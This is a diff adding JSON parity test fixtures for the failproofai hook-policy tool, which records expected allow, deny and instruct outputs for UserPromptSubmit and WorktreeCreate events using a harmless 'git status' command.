mode 100644 index 00000000..dd2c3b40 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..61ea53e7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9df16590 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d419f797 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e7d905fe --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9e833464 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..40458ea8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2bc2bf41 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..820b6d5d --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a32e3fc8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e41e201e --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c71c31b3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9686e866 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e5faecde --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..37f39bd3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..57280a9e --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..f3bb1678 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8b1aeacf --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bc93574e --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, 